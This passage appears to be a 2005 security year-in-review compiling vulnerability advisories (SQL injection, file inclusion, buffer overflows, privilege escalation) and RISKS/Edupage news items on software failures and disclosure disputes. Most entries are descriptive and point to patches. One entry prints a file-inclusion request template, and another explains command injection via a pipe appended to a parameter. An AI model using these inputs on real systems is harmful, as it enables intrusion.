DHS IAIP Daily; <http://www.securityfocus.com/bid/12847/solution>

SUN JAVA WEB START SYSTEM PROPERTY TAGS REMOTE UNAUTHORIZED ACCESS VULNERABILITY

A remote unauthorized access vulnerability affects Java Web Start. This issue is due to a failure of the application to properly validate user supplied input prior to considering it as trusted. An attacker may leverage this issue to gain unauthorized read and write access to affected computers. Other attacks may also be possible. It should be noted that unauthorized access granted in this way will be with the privileges of the unsuspecting user that visits a malicious Website. See Source link for solutions.

Category 21.1 General QA failures
2005-06-22 **vulnerability hole Ipswitch WhatsUp Professional SQL injection data modification update issued**

DHS IAIP Daily; <http://www.securityfocus.com/bid/14039/discuss>

IPSWITCH WHATSUP PROFESSIONAL LOGIN.ASP SQL INJECTION VULNERABILITY

WhatsUp Professional is prone to an SQL injection vulnerability affecting its Web based front end. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. The vendor has released WhatsUp Professional 2005 SP1a to address this issue.

Category 21.1 General QA failures
2005-06-24 **vulnerability hole Sun Solaris operating system local buffer overflow**

DHS IAIP Daily; <http://www.securityfocus.com/bid/14049/info>

SUN SOLARIS TRACEROUTE MULTIPLE LOCAL BUFFER OVERFLOW VULNERABILITIES

Sun Solaris traceroute is affected by multiple local buffer overflow vulnerabilities. These vulnerabilities present themselves when the application handles excessive data supplied through command line arguments. These issue are reported to affect /usr/sbin/traceroute running on Sun Solaris 10. Some reports indicate that this issue cannot be reproduced. It is also reported that this issue is only exploitable on the Solaris x86 platform.

Category 21.1 General QA failures
2005-06-24 **vulnerability hole IBM DB2 Universal Database authorization bypass fixes issued**

DHS IAIP Daily; <http://www.securityfocus.com/bid/14057/info>

IBM DB2 UNIVERSAL DATABASE UNSPECIFIED AUTHORIZATION BYPASS VULNERABILITY

IBM DB2 Universal Database is susceptible to an authorization bypass vulnerability. This issue is due to a failure of the application to properly enforce authorization restrictions for database users. Users with SELECT privileges on a database may bypass authorization checks to execute INSERT, UPDATE, or DELETE statements. Further details are not available at this time. This BID will be updated as more information is disclosed. This vulnerability allows attackers to modify or destroy data without having proper authorization to do so. IBM has released an advisory, along with fixes to address this issue.

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-06-25		software quality assurance QA bug flaw error usability
RISKS; http://tinyurl.com/bdrrm3	23	92
JCAHO SOFTWARE BUG CONFUSES HOSPITALS		

Joint Commission Resources, a unit of the Joint Commission on Accreditation of Healthcare Organizations that enforces quality standards for hospitals found a flaw in software that it had sold to more than 1,000 hospitals that helps qualify for accreditation and payments from Medicare. The problem was a missing identification marker that alerts a hospital to the 250 standards among the 1,300 that the commission and its auditors regard as essential.

[Abstract by Peter G. Neumann]

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-06-28		vulnerability hole phpBB remote PHP code execution
DHS IAIP Daily; http://www.frsirt.com/english/advisories/2005/0904		
PHPBB "VIEWTOPIC.PHP" REMOTE PHP CODE EXECUTION VULNERABILITY		

A vulnerability was identified in phpBB, which may be exploited by attackers to compromise a vulnerable web server. This flaw is due to an input validation error in the "viewtopic.php" script that does not properly filter the "highlight" parameter before calling the "preg_replace()" function, which may be exploited by remote attackers to execute arbitrary PHP commands with the privileges of the web server. Solution: <http://www.phpbb.com/downloads.php>

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-06-28		vulnerability hole CSV DB arbitrary command execution
DHS IAIP Daily; http://secunia.com/advisories/15842/		
CSV_DB / I_DB ARBITRARY COMMAND EXECUTION VULNERABILITY		

A vulnerability has been reported in CSV_DB 1.0, which can be exploited by malicious people to execute arbitrary commands. Input passed to the "file" parameter in csv_db.cgi is not properly sanitized before being used. This can be exploited to execute arbitrary commands on the server by appending the commands to the end of the "file" parameter using the pipe character. The vendor has confirmed that the vulnerability also affects i_DB version 1.0.

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-07-14		software quality assurance QA design flaw bounds checking impossible values data integrity nonsense sanity
RISKS; http://www.cnn.com/2005/US/07/14/hot.summer.ap/index.html	23	94
TORRENTIAL METER ERROR		

The utility department in Mascoutah (Illinois) sent Rose Mary Cook a bill for the use of 10 million gallons of water in a month, totalling \$29,787 for the water and \$43,581 for the ensuing sewer usage. The cause was not surprisingly the result of a broken meter.

[Abstract by Peter G. Neumann, who ask, "Why doesn't meter reading use sanity checking?"]

[MK adds that teachers of systems design and programming should drill their students in the principle that all inputs should be checked for reasonableness. For example, 10M gallons in, say, 30 days implies a continuous flow of almost 4 gallons _per second_ throughout the month. A well written program would have flagged the data error before sending the monstrous bill.]

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-07-17		data corruption database medical records admissions consults disaster plan backups continuity planning failure catastrophe acquisition
RISKS		23 94

LISBON HOSPITAL RECORDS SYSTEM DOWN 10 DAYS DUE TO DATABASE CRASH

Lisbon newspaper "O Público" reports today that the main information system for the Lisbon Hospital Center, which supports three large Lisbon hospitals, has not worked since July 8. It appears that the master patient index has become inaccessible, and may be lost. If a patient shows up without a hospital-issued card, which includes a patient id number, the patient's records cannot be accessed. Out-patient consultations and admissions are being processed manually, causing "great confusion." Emergency room admissions are much slower than usual. The waiting list for surgery also appears lost, although that has not been confirmed. A doctor at one of the hospitals and board member for a doctors union said that "No one knows for certain what will happen or when the problem will be solved." The assistant to the director of the hospital group explains that "The system failed totally eight days ago, and technicians tried to restore it immediately, but without success. At the beginning of last week, the US firm who supplied the system was brought in, and it is expected that the situation will be resolved by Monday." He also said that the failure was unexpected, that the hospital group did not have the ability to fix it on their own, and that the breakdown "has had no impact on the normal functioning of the hospitals, except for the slowdown in patient registration."

So, it takes much longer to admit patients, their medical records are inaccessible unless they have registered before and bring with them their registration card (something that anyone dealing with a medical emergency will for sure remember to do), and doctors report confusion, but there's really no impact, according to the hospital group administration. A mission-critical system has no backup or immediate access to repair expertise.

For readers not familiar with Portugal, Lisbon public hospitals are notorious for poor financing, inefficiency, bureaucracy, and long waiting lists. They cater mostly to those who cannot afford private care, especially many pensioners in an aging city. Another common problem with public institutions in Portugal are poor procurement controls, especially for technology and information services. Many purchases are made without much attention to cost of ownership, service guarantees, or access to parts and service. Some administrators are too easily seduced by fancy presentations by local representatives of foreign suppliers who have no local expertise or staying power.

[Report by Fernando Pereira]

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-07-24		hacker vulnerability disclosure reward discovery TippingPoint
EDUPAGE; http://news.com.com/2100-7350_3-5802411.html		

PAYING HACKERS FOR BUGS

Computer-security firm TippingPoint has begun a program to pay rewards to individuals who report computer vulnerabilities. Not unlike similar programs from other companies, the TippingPoint deal offers a variable amount of money if a reported bug proves valid. The company will use the information to update its own protection software and will notify the maker of the vulnerable product about the problem. David Endler, director of security research at TippingPoint, said the reward program is intended to "reward and encourage independent security research" and to "ensure responsible disclosure of vulnerabilities." Not all security companies believe in bounties. Internet Security Systems, for one, said that paying for such bug reports amounts to having hackers do a company's research for it. An official from Internet Security Systems also noted that the bugs reported in such programs are typically very low-level problems, saying that the more extreme vulnerabilities are worth much more when used for hacking than if turned in to security companies. CNET, 24 July 2005

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-07-28		vulnerability hole MySQL remote code execution compromise system
DHS IAIP Daily; http://www.frsirt.com/english/advisories/2005/1250		

MYSQL EVENTUM PEAR XML_RPC REMOTE CODE EXECUTION VULNERABILITY

A vulnerability was identified in MySQL Eventum, which could be exploited by remote attackers to execute arbitrary commands. This flaw is due to an input validation error in the PEAR XML_RPC library when processing specially crafted XML documents, which could be exploited by attackers to compromise a vulnerable system. MySQL Eventum version 1.5.4 and prior are affected. Users should upgrade to MySQL Eventum version 1.5.5: <http://dev.mysql.com/downloads/other/eventum/index.html>

Category 21.1

General QA failures

2005-07-28

vulnerability hole FileZilla Server Zlib library remote buffer overflow code execution

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1249>

FILEZILLA SERVER ZLIB LIBRARY REMOTE BUFFER OVERFLOW VULNERABILITY

A vulnerability was identified in FileZilla Server, which could be exploited by remote attackers to cause a denial of service or execute arbitrary commands. This flaw is due to a buffer overflow error in the Zlib library when decompressing specially crafted data streams, which could be exploited, via a malformed stream embedded within network communication, to execute arbitrary commands. The vendor has stated that remote code execution was not possible since zlib was compiled with enabled buffer overflow protection. FileZilla Server versions prior to 0.9.9 are affected. Users should upgrade to FileZilla Server version 0.9.9 : http://sourceforge.net/project/showfiles.php?group_id=21558&package_id=21737

Category 21.1

General QA failures

2005-07-29

vulnerability hole PHPmyGallery file inclusion system compromise

DHS IAIP Daily; <http://secunia.com/advisories/16260/>

PHPMYGALLERY "CONFDIR" FILE INCLUSION VULNERABILITY

A vulnerability has been discovered in PHPmyGallery which can be exploited by malicious people to compromise a vulnerable system. Input passed to the "confdir" parameter in "common-tpl-vars.php" isn't properly verified, before it is used to include files. This can be exploited to include arbitrary files from external and local resources. Successful exploitation requires that "register_globals" is enabled. The vulnerability has been reported in version 1.5 beta and prior (latest affected stable version is 0.995). The vendor recommends restricting access to the "_conf" directory. The vulnerability will reportedly be fixed in the upcoming 1.5 beta 2 version.

Category 21.1

General QA failures

2005-07-29

vulnerability hole Novell eDirectory NMAS password bypass update issued

DHS IAIP Daily; <http://secunia.com/advisories/16267/>

NOVELL EDIRECTORY NMAS PASSWORD CHALLENGE BYPASS

A security issue has been reported in Novell eDirectory, which can be exploited by malicious people to bypass certain security restrictions. The problem is caused due to an error in the NMAS (Novell Modular Authentication Service) component in the Forgotten Password portal. This makes it possible to change a user's password without answering the challenge question. Users should update to NMAS version 2.3.8. Original Advisory and patch:<http://support.novell.com/cgi-bin/search/searchid.cgi?/2971485.htm>

Category 21.1

General QA failures

2005-07-29

open vulnerability disclosure Cisco router software Michael Lynn litigation

EDUPAGE; <http://www.siliconvalley.com/mld/siliconvalley/12255870.htm>

CISCO AND SECURITY RESEARCHER AGREE TO DISAGREE

Security researcher Michael Lynn and Cisco Systems have reached an agreement that should put an end to Cisco's legal action against Lynn for speaking publicly about a flaw in the company's router software. Lynn, who until Wednesday was employed by Internet Security Systems (ISS), gave a presentation at the Black Hat Conference discussing the vulnerability. Cisco and ISS had discouraged Lynn from giving the presentation, saying that a patch had been issued for the flaw. Lynn believed Cisco had not been open with consumers about the severity of the problem, and he resigned from ISS to protest the company's position that he should not give the presentation. After he left ISS, however, Lynn faced legal action from Cisco, which argued that he had no right to make the presentation since he was no longer employed by ISS. Under the agreement, Lynn will stop disclosing information about the flaw, and the legal action will be canceled. Computer security expert Bruce Schneier applauded Lynn for his conviction in exposing what he thought was a serious flaw despite the risks of going public. Matt Bishop, professor of computer science at the University of California-Davis, said he sees the practice of exposing flaws publicly as a dangerous practice and that working with the affected vendor is preferable. San Jose Mercury News, 29 July 2005

Category 21.1

General QA failures

2005-08-02

vulnerability BrightStor backup buffer overflow arbitrary code execution solution

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1305>

COMPUTER ASSOCIATES BRIGHTSTOR BACKUP AGENTS BUFFER OVERFLOW ISSUE

A vulnerability was identified in Computer Associates BrightStor ARCserve Backup and BrightStor Enterprise Backup Agents, which may be exploited by remote attackers to execute arbitrary commands or cause a denial of service. This flaw is due to a stack overflow error when a string with a length over 3168 bytes is sent to port 6070, which may be exploited by unauthenticated attackers to run arbitrary code with SYSTEM privileges. Solutions:

http://supportconnect.ca.com/sc/solcenter/sol_search.jsp

Category 21.1

General QA failures

2005-08-02

vulnerability hole BusinessMail SMTP denial-of-service DoS

DHS IAIP Daily; <http://secunia.com/advisories/16306/>

BUSINESSMAIL SMTP DENIAL OF SERVICE VULNERABILITY

A vulnerability has been discovered in BusinessMail, which can be exploited by malicious people to cause a DoS (Denial of Service). The vulnerability is caused due to an error in the SMTP service, and can be exploited to cause the service to stop responding via an overly long user name in the "MAIL FROM" command. The vulnerability has been confirmed in BusinessMail version 4.6 (SMTP server 4.61.02). Other versions may also be affected.

Category 21.1

General QA failures

2005-08-02

vulnerability hole JID remote buffer overflow strings update issued

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1286>

JABBERD "JID.C" JID HANDLING REMOTE BUFFER OVERFLOW VULNERABILITIES

Three vulnerabilities were identified in jabberd, which could be exploited by remote attackers to execute arbitrary code or cause a denial of service. These flaws are due to buffer overflow errors in "jid.c" when processing JID strings with long components (user, host or resource), which may be exploited to compromise a vulnerable system or cause a DoS. jabberd versions prior to 2.0s9 are affected. Users should upgrade to jabberd version 2.0s9: <http://jabberd.jabberstudio.org/2/>

Category 21.1

General QA failures

2005-08-03

vulnerability multiple Openview Oracle arbitrary command execution SQL injection attack

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1316>

ORACLE FOR OPENVIEW (OFO) MULTIPLE SECURITY VULNERABILITIES

Multiple vulnerabilities were identified in Oracle for Openview (OfO), which could be exploited by remote or local attackers to execute arbitrary commands or conduct SQL injection attacks. These flaws, initially reported in Oracle Critical Patch Update (July 2005), could be exploited by remote or local attackers to cause a denial of service, execute arbitrary commands or conduct SQL injection attacks. OfO customers who have support contracts directly from Oracle should obtain the Critical Patch Update (July 2005) from Oracle: http://www.oracle.com/technology/deploy/security/pdf/cpujul2_005.html OfO customers who have support from Hewlett-Packard should contact the normal support channel to obtain the Critical Patch Update (July 2005): http://www.hp.com/managementsoftware/contract_maint

Category 21.1

General QA failures

2005-08-06

vulnerability hole PHP-Fusion SQL injection exploit database implementation

DHS IAIP Daily; <http://www.securityfocus.com/bid/14489/info>

PHP-FUSION MESSAGES.PHP SQL INJECTION VULNERABILITY

PHP-Fusion is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'messages.php' script before using it in an SQL query. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. Security Focus is not currently aware of any vendor-supplied patches for this issue.

Category 21.1

General QA failures

2005-08-08

vulnerability PHP SiteStats authentication bypass access violation

DHS IAIP Daily; <http://www.securityfocus.com/bid/14493/solution>

PHPSITESTATS UNSPECIFIED AUTHENTICATION BYPASS VULNERABILITY

PHP SiteStats is prone to an unspecified authentication bypass vulnerability. A successful attack can allow unauthorized attackers to bypass the authentication routines and gain access to the application. An attacker may then carry out other attacks against the vulnerable computer. PHP SiteStats 1.0 is prone to this issue. Other versions may be vulnerable as well. The vendor has released PHP SiteStats 1.1 to address this issue: http://prdownloads.sourceforge.net/phpsitestats/phpsitestats_1.1.zip?download

Category 21.1

General QA failures

2005-08-08

vulnerability Comdev eCommerce file inclusion system compromise

DHS IAIP Daily; <http://secunia.com/advisories/16346/>

COMDEV ECOMMERCE FILE INCLUSION VULNERABILITY

A vulnerability has been discovered in Comdev eCommerce, which can be exploited by malicious people to compromise a vulnerable system. Input passed to the "path[docroot]" parameter is not properly verified, before it is used to include files. This can be exploited to include arbitrary files from external and local resources. Example:

[http://\[host\]/oneadmin/config.php?path\[docroot\]=\[file\]](http://[host]/oneadmin/config.php?path[docroot]=[file]) Successful exploitation requires that "magic_quotes_gpc" is disabled. The vulnerability has been confirmed in version 3.1. Other versions may also be affected. Solution: Edit the source code to ensure that input is properly verified.

Category 21.1

General QA failures

2005-08-08

vulnerability hole SysCP system compromise update issued

DHS IAIP Daily; <http://secunia.com/advisories/16347/>

TWO VULNERABILITIES REPORTED IN SYSCP

Two vulnerabilities have been reported in SysCP, which can be exploited by malicious people to compromise a vulnerable system. 1) Input passed to a certain parameter is not properly verified before being used to include a language file. This can be exploited to include arbitrary files from external resources. 2) Input passed to the internal template engine is insufficiently sanitized, which can be exploited to inject arbitrary PHP code. Successful exploitation requires that register_globals is enabled. The vulnerabilities have been reported in versions 1.2.10 and prior. Users should update to version 1.2.11.
<http://www.syscp.de/wiki/EnDownloads>

Category 21.1

General QA failures

2005-08-08

vulnerability MySQL buffer overflow user defined functions

DHS IAIP Daily; <http://www.appsecinc.com/resources/alerts/mysql/2005-002.html>

BUFFER OVERFLOW IN MYSQL USER DEFINED FUNCTIONS

User-defined functions in MySQL allow a user in the database to call binary libraries on the operating system. Creating a user-defined function requires insert privileges on the mysql.func table. The init_syms() function uses an unsafe string function to copy a user specified string into a stack based buffer. Due to improper sanitation this buffer is able to be overflowed, overwriting portions of the stack. This allows an attacker to write 14 bytes of arbitrary data and eight bytes of hard coded data beyond the end of the buffer. Exploiting this vulnerability would require the ability to create user-defined functions. This is not typically granted to untrusted users. MySQL versions 4.0.25, 4.1.13, or 5.0.7-beta have been patched:
<http://dev.mysql.com/downloads/>

Category 21.1 General QA failures

2005-08-09 **vulnerability AOL client software privilege escalation no patches**

DHS IAIP Daily; <http://www.securityfocus.com/bid/14530/discuss>

AOL CLIENT SOFTWARE LOCAL PRIVILEGE ESCALATION VULNERABILITY

AOL client software is susceptible to a local privilege escalation vulnerability. This issue is due to a failure of the software to properly secure its installation path against local modifications. This issue allows local users to replace the affected binary with an executable of their choice, allowing them to execute arbitrary code with SYSTEM privileges. This facilitates the complete compromise of the local computer. AOL version 9.0 Security Edition is reported susceptible to this vulnerability; other versions may also be affected. Security Focus is not currently aware of any vendor-supplied patches for this issue.

Category 21.1 General QA failures

2005-08-09 **Microsoft patches security vulnerability critical**

DHS IAIP Daily;
<http://www.redmondmag.com/news/article.asp?EditorialsID=6852>

MICROSOFT PATCHES NINE SECURITY VULNERABILITIES

Microsoft released six security bulletins Tuesday, August 9, including three bulletins rated "critical." All six bulletins involved Windows, and one of the bulletins also involved Internet Explorer. The most serious of the bulletins is a cumulative security update for Internet Explorer (MS05-038). The bulletin, which also applies to some versions of Windows, addresses three security flaws. Two of those are critical flaws that allow an attacker to take complete control of a computer over the Internet. The other flaw allows information disclosure. As a cumulative update for IE, the patch sets a kill bit for older versions of certain objects that have known security vulnerabilities. Those objects include the Microsoft HTML Help ActiveX control, the Microsoft MSAgent ActiveX control and a SharePoint Portal Services logging ActiveX control. The patch also changes the way IE Favorites behaves to close off a class of vulnerabilities. Another bulletin patches a critical vulnerability found in Windows Plug and Play that can allow remote code execution and elevation of privilege (MS05-039). The other bulletin involving a critical flaw is MS05-043 for a vulnerability in the Windows Print Spooler Service that could allow remote code execution. Microsoft Security Bulletin Summary for August 2005: <http://www.microsoft.com/technet/security/bulletin/ms05-aug.mspx>

Category 21.1 General QA failures

2005-08-09 **vulnerability Gravity Board X SQL injection file inclusion no patch**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1349>

GRAVITY BOARD X SQL INJECTION AND FILE INCLUSION VULNERABILITIES

Two vulnerabilities have been identified in Gravity Board X, which could be exploited by attackers to include arbitrary files and/or conduct SQL injection and cross site scripting attacks. The first issue is due to an input validation error in the "deletethread.php" script when processing a specially crafted "board_id" parameter, which may be exploited by attackers to cause arbitrary scripting code to be executed by the user's browser. The second vulnerability is due to an input validation error in the "index.php" script that does not properly filter a specially crafted "email" variable, which may be exploited by remote users to conduct SQL injection attacks. The third flaw is due to an input validation error in the "editcss.php" script when processing a specially crafted "csscontent" variable, which could be exploited by attackers to execute arbitrary PHP commands. Gravity Board X version 1.1 and prior are affected. The FrSIRT is not aware of any official supplied patch for this issue.

Category 21.1 General QA failures

2005-08-09 **patch fix update Red Hat critical Gaim update heap buffer overflow denial-of-service DoS**

DHS IAIP Daily; <http://rhn.redhat.com/errata/RHSA-2005-627.html>

RED HAT RELEASES CRITICAL GAIM SECURITY UPDATE

An updated gaim package that fixes multiple security issues is now available. A heap based buffer overflow issue was discovered in the way Gaim processes away messages. A remote attacker could send a specially crafted away message to a Gaim user logged into AIM or ICQ that could result in arbitrary code execution. A denial of service issue was also discovered in Gaim. A remote attacker could attempt to upload a file with a specially crafted name to a user logged into AIM or ICQ, causing Gaim to crash. A denial of service bug was found in Gaim's Gadu Gadu protocol handler. A remote attacker could send a specially crafted message to a Gaim user logged into Gadu Gadu, causing Gaim to crash. Please note that this issue only affects PPC and IBM S/390 systems running Gaim. Users of gaim are advised to upgrade to an updated package, which contains backported patches and is not vulnerable to these issues. Before applying this update, make sure all previously released errata relevant to your system have been applied.

Category 21.1 General QA failures
2005-08-10 **vulnerability Nortel Contivity VPN Client local privilege escalation launch arbitrary files**

DHS IAIP Daily; <http://www.securityfocus.com/bid/14542/info>

NORTEL CONTIVITY VPN CLIENT LOCAL PRIVILEGE ESCALATION VULNERABILITY

Nortel Contivity VPN Client is susceptible to a local privilege escalation vulnerability. This issue is due to a failure of the application to properly lower the privileges of the running process when required. Due to the nature of the affected application, it executes with SYSTEM privileges. When a local user opens a dialog box to select digital certificates, they may use it to launch arbitrary files. Due to the failure of the application to properly revert to the users correct privileges, the executed file will be run with SYSTEM privileges. This vulnerability allows local attackers to access and execute arbitrary files with SYSTEM privileges, facilitating the compromise of the local computer. Security Focus is not aware of any vendor-supplied patches for this issue.

Category 21.1 General QA failures
2005-08-10 **vulnerability Lasso Professional Server authentication bypass information disclosure**

DHS IAIP Daily; <http://www.securityfocus.com/bid/14543/info>

LASSO PROFESSIONAL SERVER REMOTE AUTHENTICATION BYPASS VULNERABILITY

Lasso Professional Server is susceptible to a remote authentication bypass vulnerability. This issue is due to a failure of the application to properly enforce defined security constraints. This vulnerability allows remote attackers to gain access to potentially sensitive information contained in Web pages they would normally be unable to see, potentially aiding them in further attacks. Depending on the contents and design of the targeted Web pages, attackers may possibly interact with the Website to cause data alterations or destruction. This issue is present in versions 8.0.4 and 8.0.5 of Lasso Professional Server. Fix for OmniPilot Software Lasso Professional Server 8.0.4: http://support.omnipilot.com/article_files/Security%20Fix%20804-805.zip Fix for OmniPilot Software Lasso Professional Server 8.0.5: http://support.omnipilot.com/article_files/Security%20Fix%20804-805.zip

Category 21.1 General QA failures
2005-08-10 **vulnerability multiple MySQL UDF denial-of-service load arbitrary library**

DHS IAIP Daily;
<http://www.securiteam.com/windowsntfocus/5VP0A00GLU.html>

MYSQL UDF MULTIPLE VULNERABILITIES

User-defined functions in MySQL allow a user in the database to call binary libraries on the operating system. Creating a user-defined function requires insert privileges on the mysql.func table. The lack of proper length validation allow attackers to execute arbitrary code using MySQL UDL. Improper directory separator checking, allow attacker to perform directory traversal using MySQL UDL. The lack of proper checking allow attackers to cause a denial of service or load arbitrary library with MySQL UDL. The vendor has released patches for MySQL versions 4.0.25, 4.1.13 and 5.0.7-beta:
<http://dev.mysql.com/downloads/>

Category 21.1 General QA failures
2005-08-10 **vulnerability WordPress remote code execution no patch**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1366>

WORDPRESS "CACHE_LASTPOSTDATE" REMOTE CODE EXECUTION ISSUE

A vulnerability was identified in WordPress, which may be exploited by remote attackers to execute arbitrary commands. This flaw is due to an input validation error when processing a specially crafted "cache_lastpostdate" variable sent via cookies, which may be exploited by remote attackers to execute arbitrary PHP commands. WordPress version 1.5.1.3 and prior are affected. The FrSIRT is not aware of any official supplied patch for this issue.

Category 21.1

General QA failures

2005-08-11

vulnerability McAfee ePolicy Orchestrator Local Information Disclosure

DHS IAIP Daily; <http://www.securityfocus.com/bid/14549/references>

MCAFEE EPOLICY ORCHESTRATOR LOCAL INFORMATION DISCLOSURE VULNERABILITY

Network Associates McAfee ePolicy Orchestrator is susceptible to a local information disclosure vulnerability. This issue is due to incorrectly configured directory permissions in the default installation process of the application. This vulnerability allows local attackers to access arbitrary files located in the same partition as the affected directory with SYSTEM privileges. This will aid them in further attacks. Security Focus is not currently aware of any vendor-supplied patches for this issue.

Category 21.1

General QA failures

2005-08-11

vulnerability Adobe Version Cue 1.x Mac OS X privilege escalation update issued

DHS IAIP Daily; <http://www.securitytracker.com/alerts/2005/Aug/1014776.html>

ADOBE VERSION CUE 1.X FOR MAC OS X SYSTEM PRIVILEGE ESCALATION

A security vulnerability has been identified in a previous release of Adobe Version Cue, a feature of Adobe Creative Suite, that effects only computers on which Mac OS X and Version Cue Workspace are installed. If the vulnerability is exploited, a user with a local Mac OS X account could obtain system administrator access to local files and applications on that computer. The identified vulnerability is caused by special file permissions on internal Version Cue application files. This vulnerability cannot be exploited by users who do not have local login accounts on that computer. Users of Version Cue 1.x should download and install the security update: www.adobe.com/support/downloads/detail.jsp?ftpID=2985

Category 21.1

General QA failures

2005-08-11

vulnerability multiple format string GNOME

DHS IAIP Daily; <http://secunia.com/advisories/16394/>

GNOME EVOLUTION MULTIPLE FORMAT STRING VULNERABILITIES

Vulnerabilities have been reported in Evolution which can be exploited by malicious people to compromise a vulnerable system. 1) A format string error when displaying full vCard information attached to an e-mail message can be exploited to execute arbitrary code. Successful exploitation requires that the user clicks on "Show Full vCard" or saves the vCard to an address book and then views it under the "Contacts" tab. 2) A format string error exists when displaying specially crafted contact data retrieved from an LDAP server. 3) A format string error exists when displaying specially crafted task list data retrieved from remote servers and when the user saves the task list data under the "Calendars" tab. The vulnerabilities have been reported in versions 1.5 through 2.3.6.1 and have reportedly been fixed in 2.3.7 (unstable).

Category 21.1

General QA failures

2005-08-12

cyber security alert US-CERT NDMP exploit recommendations

DHS IAIP Daily; <http://www.us-cert.gov/cas/techalerts/TA05-224A.html>

VERITAS BACKUP EXEC USES HARD-CODED AUTHENTICATION CREDENTIALS

VERITAS Backup Exec Remote Agent for Windows Servers is a data backup and recovery solution that supports the Network Data Management Protocol (NDMP). NDMP "...is an open standard protocol for enterprise-wide backup of heterogeneous network-attached storage." By default, the Remote Agent listens for NDMP traffic on port 10000/tcp. The VERITAS Backup Exec Remote agent uses hard-coded administrative authentication credentials. An attacker with knowledge of these credentials and access to the Remote Agent may be able to retrieve arbitrary files from a vulnerable system. The Remote Agent runs with SYSTEM privileges. Exploit code, including the credentials, is publicly available. US-CERT has also seen reports of increased scanning activity on port 10000/tcp. This increase may be caused by attempts to locate vulnerable systems. US-CERT recommends taking the following actions to reduce the chances of exploitation: * Use firewalls to limit connectivity so that only authorized backup server(s) can connect to the Remote Agent. The default port for this service is port 10000/tcp. * At a minimum, implement some basic protection at the network perimeter. When developing rules for network traffic filters, realize that individual installations may operate on non-standard ports. * In addition, changing the Remote Agent's default port from 10000/tcp may reduce the chances of exploitation. Please refer to VERITAS support document 255174 for instructions on how to change the default port.

Category 21.1 General QA failures
2005-08-12 **vulnerability exploit Microsoft Plug and Play US-CERT execute arbitrary code patches issued**

DHS IAIP Daily; http://www.us-cert.gov/current/current_activity.html#VU998653

EXPLOIT FOR VULNERABILITY IN MICROSOFT PLUG AND PLAY

US-CERT is aware of a public exploit for a vulnerability in Microsoft Plug and Play that could allow an attacker to locally or remotely execute arbitrary code or cause a denial-of-service condition on a vulnerable system. The exploit code targets Windows systems by connecting to NetBIOS ports 139/tcp or 445/tcp on a vulnerable system. A remote, unauthenticated attacker may be able to execute arbitrary code or cause a denial-of-service condition on Windows 2000. With Windows XP SP1, the remote user must be authenticated to exploit the vulnerability. A local, authenticated attacker may be able to execute arbitrary code or to create a denial-of-service condition on Windows XP SP2 and Server 2003 systems. Microsoft has released a patch to address this vulnerability in Microsoft Security Bulletin MS05-039. Administrators are encouraged to apply the appropriate fixes as soon as possible. VU#998653 - Microsoft Plug and Play contains a buffer overflow vulnerability:
<http://www.kb.cert.org/vuls/id/998653> Patches from Microsoft: <http://www.microsoft.com/technet/security/bulletin/ms05-aug.mspx>

Category 21.1 General QA failures
2005-08-15 **NIST cybersecurity flaw vulnerability database NVD encyclopedia**

EDUPAGE; <http://www.fcw.com/article89911-08-15-05>

NIST COMPILES CYBERSECURITY FLAWS DATABASE

Scientists at the National Institute of Standards and Technology (NIST) have created a vast database designed to collect information on virtually all known cybersecurity vulnerabilities, updated daily with new information. The National Vulnerability Database (NVD), which combines information held in all federal databases, currently has about 12,000 listings and includes links to industry resources. According to Peter Mell, senior computer scientist at NIST and creator of NVD, about 10 new vulnerabilities are added each day. Mell, who characterized the NVD as "an encyclopedia of everything," said it can be useful both for the public at large and for computer developers seeking current information about security weaknesses in a wide range of commercial products. Federal Computer Week, 15 August 2005

Category 21.1 General QA failures
2005-08-16 **vulnerability Kismet multiple integer underflow execute arbitrary commands denial-of-service DoS**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1422>

KISMET MULTIPLE INTEGER UNDERFLOW AND UNSPECIFIED VULNERABILITIES

Multiple vulnerabilities were identified in Kismet, which could be exploited by remote attackers to execute arbitrary commands or cause a denial of service. The first flaw is due to an error in the handling of unprintable characters in the SSID (the impact of this issue is currently unknown). The second issue is due to integer underflow errors in the pcap handling, which could be exploited to cause heap corruption. The third vulnerability is due to an integer underflow in CDP protocol dissector, which could be exploited by remote attackers to execute arbitrary commands. Products affected are Kismet versions prior to 2005-08-R1. Upgrade to Kismet version 2005-08-R1: <http://www.kismetwireless.net/download.shtml>

Category 21.1 General QA failures
2005-08-16 **vulnerability BlueZ arbitrary command execution update issued**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1431>

BLUEZ "SECURITY.C" ARBITRARY COMMAND EXECUTION VULNERABILITY

A vulnerability was identified in BlueZ, which could be exploited by remote attackers to execute arbitrary commands. This flaw is due to an input validation error in "hcid/security.c" when processing and executing specially crafted bluetooth device names as command line arguments, which could be exploited by attackers to execute arbitrary commands or create pairings without the user's approval. Products affected are bluez-libs versions prior to 2.19 and bluez-utils versions prior to 2.19. Users should upgrade to bluez-libs-2.19 and bluez-utils-2.19: <http://www.bluez.org/download.html>

Category 21.1

General QA failures

2005-08-16

vulnerability SafeHTML cross-site scripting

DHS IAIP Daily; <http://www.securityfocus.com/bid/14574/info>

SAFEHTML UTF-7 AND CSS COMMENT TAG CROSS SITE SCRIPTING VULNERABILITIES

